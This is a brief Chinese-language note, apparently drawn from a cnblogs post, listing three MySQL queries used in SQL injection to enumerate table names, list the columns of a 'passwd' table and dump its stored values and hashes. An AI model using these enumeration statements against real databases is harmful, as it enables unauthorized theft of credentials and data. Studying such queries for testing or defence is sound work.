爆库，表名，字段，具体值

select group_concat(table_name) from information_schema.tables where table_schema=database();  ## 查看表名
## student, user, passwd
select group_concat(column_name) from information_schema.columns where table_name="passwd";  ## 查看列名
## value, hashValue
select group_concat(value) from passwd;  ## 查看值

 SQL注入常用爆库语句 - AikNr - 博客园 (cnblogs.com)